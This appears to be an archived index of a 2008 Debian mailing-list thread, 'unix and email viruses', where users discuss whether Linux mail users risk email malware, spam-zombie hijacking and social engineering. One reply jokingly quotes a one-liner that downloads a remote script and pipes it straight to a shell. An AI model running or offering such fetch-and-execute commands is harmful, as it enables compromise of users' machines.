Re: unix and email viruses

2008-03-07 Thread Michelle Konzack
Am 2008-03-02 17:29:09, schrieb Andrew Sackville-West: > On Sun, Mar 02, 2008 at 08:16:16PM -0500, Douglas A. Tutty wrote: > > I never read mail as root, it all gets redirected to me, dtutty. OTOH, > > dtutty is in lots of groups: ssh, adm, staff so something nasty could do > based on the above,

Re: unix and email viruses

2008-03-07 Thread Michelle Konzack
Hello Douglas, Am 2008-03-02 15:59:16, schrieb Douglas A. Tutty: > Hello all, > > I think I don't need to be worried but I figured I should check. Right, if you use only Linux... > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some > people run virus scanners on their email

Re: unix and email viruses

2008-03-07 Thread Michelle Konzack
Am 2008-03-02 16:32:26, schrieb David Fox: > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > > The potential hole I see in mutt is not actually a hole in mutt but in > > various helpers used by mutt users. For example, many of us use w3m or > > links or some other text browser to d

Re: unix and email viruses

2008-03-03 Thread Dave Thayer
On Sun, Mar 02, 2008 at 03:59:16PM -0500, Douglas A. Tutty wrote: > I debian or other 'nix suceptible in any way to anything anybody can put > in an email? I'm guessing that if someone comes up with something that > can break e.g. mutt that mutt will be fixed around the same time as a > virus scan

Re: unix and email viruses

2008-03-03 Thread Andrew Sackville-West
On Tue, Mar 04, 2008 at 03:33:01PM +1300, Chris Bannister wrote: > On Sun, Mar 02, 2008 at 05:01:06PM -0800, Andrew Sackville-West wrote: > > > > sql injections are 'data' trying to be executable, aren't they? I know > > that generally folks aren't trying to "open" sql "attachements" > > (whatever

Re: unix and email viruses

2008-03-03 Thread Chris Bannister
On Sun, Mar 02, 2008 at 05:01:06PM -0800, Andrew Sackville-West wrote: > > sql injections are 'data' trying to be executable, aren't they? I know > that generally folks aren't trying to "open" sql "attachements" > (whatever the hell that might mean) from mutt... "SQL injections" are completely di

Re: unix and email viruses

2008-03-03 Thread Chris Bannister
On Mon, Mar 03, 2008 at 08:56:35AM +0200, Dotan Cohen wrote: > > It's called social engineering. > """want free porn?!? compile this!""" > > You'd be surprised how many Windows users install .exes with the hope > of seeing some free porn. It is amusing[1] to see attachments that are supposedly .

Re: unix and email viruses

2008-03-03 Thread Andrew Sackville-West
On Mon, Mar 03, 2008 at 11:59:24PM +0200, Dotan Cohen wrote: > On 03/03/2008, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > I think > > we're in agreement that lack of root access only an impediment, not a > > preventative. > > I'd so like to take that out of context. I won't be lewd in

Re: unix and email viruses

2008-03-03 Thread Dotan Cohen
On 03/03/2008, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > I think > we're in agreement that lack of root access only an impediment, not a > preventative. I'd so like to take that out of context. I won't be lewd in a public mailing list. Won't be lewd. Must... Control... Self... Dotan C

Re: unix and email viruses

2008-03-03 Thread Andrew Sackville-West
On Mon, Mar 03, 2008 at 09:06:43AM +0200, Dotan Cohen wrote: > On 03/03/2008, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > > sql injections are 'data' trying to be executable, aren't they? I know > > that generally folks aren't trying to "open" sql "attachements" > > (whatever the hell

Re: unix and email viruses

2008-03-03 Thread Andrew Sackville-West
On Mon, Mar 03, 2008 at 06:24:51PM +0200, Dotan Cohen wrote: > On 03/03/2008, David Fox <[EMAIL PROTECTED]> wrote: > > True enough. The one time that happened to me I had installed some > > extra apache packages that were vulnerable, so some spammer basically > > was able to hijack my box, and send

Re: unix and email viruses

2008-03-03 Thread Dave Sherohman
On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > The potential hole I see in mutt is not actually a hole in mutt but in > > various helpers used by mutt users. For example, many of us use w3m or > > links or some other text

Re: unix and email viruses

2008-03-03 Thread Dotan Cohen
On 03/03/2008, David Fox <[EMAIL PROTECTED]> wrote: > True enough. The one time that happened to me I had installed some > extra apache packages that were vulnerable, so some spammer basically > was able to hijack my box, and send stock and other spams out. I was > able to get it stopped but the cl

Re: unix and email viruses

2008-03-03 Thread David Fox
On 3/3/08, Tzafrir Cohen <[EMAIL PROTECTED]> wrote: > By definition, if your user can send mail, your can serve as a spam > zombie. True enough. The one time that happened to me I had installed some extra apache packages that were vulnerable, so some spammer basically was able to hijack my box, a

Re: unix and email viruses

2008-03-03 Thread David Fox
On 3/2/08, Dotan Cohen <[EMAIL PROTECTED]> wrote: > You'd be surprised how many Windows users install .exes with the hope > of seeing some free porn. One word: PornBuntu. World domination,. :) > > Dotan Cohen > -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Tr

Re: unix and email viruses

2008-03-03 Thread Tzafrir Cohen
On Mon, Mar 03, 2008 at 12:08:37PM +0200, Dotan Cohen wrote: > On 03/03/2008, Tzafrir Cohen <[EMAIL PROTECTED]> wrote: > > On Mon, Mar 03, 2008 at 08:56:35AM +0200, Dotan Cohen wrote: > > > > > It's called social engineering. > > > """want free porn?!? compile this!""" > > > > > > You'd be surp

Re: unix and email viruses

2008-03-03 Thread Dotan Cohen
On 03/03/2008, Tzafrir Cohen <[EMAIL PROTECTED]> wrote: > On Mon, Mar 03, 2008 at 08:56:35AM +0200, Dotan Cohen wrote: > > > It's called social engineering. > > """want free porn?!? compile this!""" > > > > You'd be surprised how many Windows users install .exes with the hope > > of seeing som

Re: unix and email viruses

2008-03-03 Thread Tzafrir Cohen
On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > For that to work, various helper apps would have to be run as root or > with root privileges. Normally i would not suspect a pic or other > 'data' to try and be executable anyway. By definition, if your user can send mail, your can serv

Re: unix and email viruses

2008-03-03 Thread Tzafrir Cohen
On Mon, Mar 03, 2008 at 08:56:35AM +0200, Dotan Cohen wrote: > It's called social engineering. > """want free porn?!? compile this!""" > > You'd be surprised how many Windows users install .exes with the hope > of seeing some free porn. Compile? wget http://pr0n.sh/ | sh -- Tzafrir Cohen

Re: unix and email viruses

2008-03-03 Thread Andrei Popescu
On Sun, Mar 02, 2008 at 04:11:43PM -0800, Andrew Sackville-West wrote: > The potential hole I see in mutt is not actually a hole in mutt but in > various helpers used by mutt users. For example, many of us use w3m or > links or some other text browser to dump html messages to plain text > for vie

Re: unix and email viruses

2008-03-02 Thread Dotan Cohen
On 03/03/2008, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > > > > The potential hole I see in mutt is not actually a hole in mutt but in > > > various helpers use

Re: unix and email viruses

2008-03-02 Thread Dotan Cohen
On 03/03/2008, Octavio Alvarez <[EMAIL PROTECTED]> wrote: > On Sun, 2008-03-02 at 15:59 -0500, Douglas A. Tutty wrote: > > Hello all, > > > > > I debian or other 'nix suceptible in any way to anything anybody can put > > in an email? I'm guessing that if someone comes up with something that >

Re: unix and email viruses

2008-03-02 Thread Dotan Cohen
On 03/03/2008, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > On Sun, Mar 02, 2008 at 03:59:16PM -0500, Douglas A. Tutty wrote: > > Hello all, > > > > I think I don't need to be worried but I figured I should check. > > > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that

Re: unix and email viruses

2008-03-02 Thread Andrew Sackville-West
On Sun, Mar 02, 2008 at 08:16:16PM -0500, Douglas A. Tutty wrote: > On Sun, Mar 02, 2008 at 05:01:06PM -0800, Andrew Sackville-West wrote: > > On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > > > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > > Anyway, that's the whol

Re: unix and email viruses

2008-03-02 Thread Douglas A. Tutty
On Sun, Mar 02, 2008 at 05:01:06PM -0800, Andrew Sackville-West wrote: > On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > Anyway, that's the whole point of an exploit -- providing some > _thing_, data or code, that causes

Re: unix and email viruses

2008-03-02 Thread Ron Johnson
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 03/02/08 14:59, Douglas A. Tutty wrote: > Hello all, > > I think I don't need to be worried but I figured I should check. > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some > people run virus scanners on their email (not j

Re: unix and email viruses

2008-03-02 Thread Andrew Sackville-West
On Sun, Mar 02, 2008 at 04:32:26PM -0800, David Fox wrote: > On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > > > The potential hole I see in mutt is not actually a hole in mutt but in > > various helpers used by mutt users. For example, many of us use w3m or > > links or some other t

Re: unix and email viruses

2008-03-02 Thread David Fox
On 3/2/08, Andrew Sackville-West <[EMAIL PROTECTED]> wrote: > The potential hole I see in mutt is not actually a hole in mutt but in > various helpers used by mutt users. For example, many of us use w3m or > links or some other text browser to dump html messages to plain text For that to work, va

Re: unix and email viruses

2008-03-02 Thread Andrew Sackville-West
On Sun, Mar 02, 2008 at 10:08:33PM +, Tzafrir Cohen wrote: > On Sun, Mar 02, 2008 at 03:59:16PM -0500, Douglas A. Tutty wrote: > > Hello all, > > > > I think I don't need to be worried but I figured I should check. > > > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that som

Re: unix and email viruses

2008-03-02 Thread Octavio Alvarez
On Sun, 2008-03-02 at 15:59 -0500, Douglas A. Tutty wrote: > Hello all, > > I debian or other 'nix suceptible in any way to anything anybody can put > in an email? I'm guessing that if someone comes up with something that > can break e.g. mutt that mutt will be fixed around the same time as a > v

Re: unix and email viruses

2008-03-02 Thread Tzafrir Cohen
On Sun, Mar 02, 2008 at 03:59:16PM -0500, Douglas A. Tutty wrote: > Hello all, > > I think I don't need to be worried but I figured I should check. > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some > people run virus scanners on their email (not just as anti-spam) and >

Re: unix and email viruses

2008-03-02 Thread Andrew Sackville-West
On Sun, Mar 02, 2008 at 03:59:16PM -0500, Douglas A. Tutty wrote: > Hello all, > > I think I don't need to be worried but I figured I should check. > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some > people run virus scanners on their email (not just as anti-spam) and I

Re: unix and email viruses

2008-03-02 Thread David Fox
On 3/2/08, Douglas A. Tutty <[EMAIL PROTECTED]> wrote: > I debian or other 'nix suceptible in any way to anything anybody can put > in an email? I'm guessing that if someone comes up with something that save the viruses and other malware from the attachments then forward them to spammers remove m

Re: unix and email viruses

2008-03-02 Thread Paul Johnson
On Sun, Mar 2, 2008 at 12:59 PM, Douglas A. Tutty <[EMAIL PROTECTED]> wrote: > I debian or other 'nix suceptible in any way to anything anybody can put > in an email? I'm guessing that if someone comes up with something that > can break e.g. mutt that mutt will be fixed around the same time as

Re: unix and email viruses

2008-03-02 Thread Dotan Cohen
On 02/03/2008, Douglas A. Tutty <[EMAIL PROTECTED]> wrote: > Hello all, > > I think I don't need to be worried but I figured I should check. > > I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some > people run virus scanners on their email (not just as anti-spam) and > wonde

unix and email viruses

2008-03-02 Thread Douglas A. Tutty
Hello all, I think I don't need to be worried but I figured I should check. I only run 'nix (debian, OpenBSD), and I'm on dialup. I note that some people run virus scanners on their email (not just as anti-spam) and wonder if I need to worry. I don't get enough spam (other than what comes from